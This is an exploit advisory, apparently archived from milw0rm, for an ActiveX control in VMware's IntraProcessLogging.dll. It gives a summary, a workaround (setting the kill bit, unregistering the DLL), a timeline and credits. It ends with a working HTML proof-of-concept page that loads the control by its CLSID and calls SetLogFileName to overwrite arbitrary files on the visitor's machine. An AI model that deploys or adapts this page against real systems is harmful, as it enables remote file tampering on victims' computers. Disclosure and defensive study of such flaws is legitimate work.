84 lines
No EOL
1.7 KiB
HTML
84 lines
No EOL
1.7 KiB
HTML
<!--
|
|
---------------------------------------------------------------------------
|
|
|
|
:. GOODFELLAS Security Research TEAM .:
|
|
:. http://goodfellas.shellcode.com.ar .:
|
|
|
|
IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
|
|
===========================================================================
|
|
|
|
Internal ID: VULWAR200707280.
|
|
-----------
|
|
|
|
Introduction
|
|
------------
|
|
IntraProcessLogging.dll is a library included in the Program Vmware from
|
|
Vmware Inc. Company.
|
|
|
|
|
|
Tested In
|
|
---------
|
|
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.
|
|
|
|
|
|
Summary
|
|
-------
|
|
The SetLogFileName method doesn't check if it's being called from the
|
|
application,
|
|
or malicious users. Remote Attacker could craft a html page and overwrite
|
|
arbitrary
|
|
files in a system.
|
|
|
|
|
|
Impact
|
|
------
|
|
Any computer that uses this Sofware will be exposed to Data Write Arbitrary.
|
|
|
|
|
|
Workaround
|
|
----------
|
|
- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
|
|
- Unregister IntraProcessLogging.dll using regsvr32.
|
|
|
|
|
|
Timeline
|
|
--------
|
|
July 28 2007 -- Bug Discovery.
|
|
July 28 2007 -- Exploit published.
|
|
|
|
|
|
Credits
|
|
-------
|
|
* callAX <callAX@shellcode.com.ar>
|
|
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>
|
|
|
|
|
|
Technical Details
|
|
-----------------
|
|
|
|
SetLogFileName method receives one argument filename in this format
|
|
"c:\path\file".
|
|
|
|
|
|
Proof of Concept
|
|
---------------->
|
|
|
|
<HTML>
|
|
<BODY>
|
|
<object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>
|
|
|
|
<SCRIPT>
|
|
|
|
function Do_it()
|
|
{
|
|
File = "c:\\arbitrary_file.txt"
|
|
ctrl.SetLogFileName(File)
|
|
}
|
|
|
|
</SCRIPT>
|
|
<input language=JavaScript onclick=Do_it() type=button value="Proof of
|
|
Concept">
|
|
</BODY>
|
|
</HTML>
|
|
|
|
# milw0rm.com [2007-07-28] |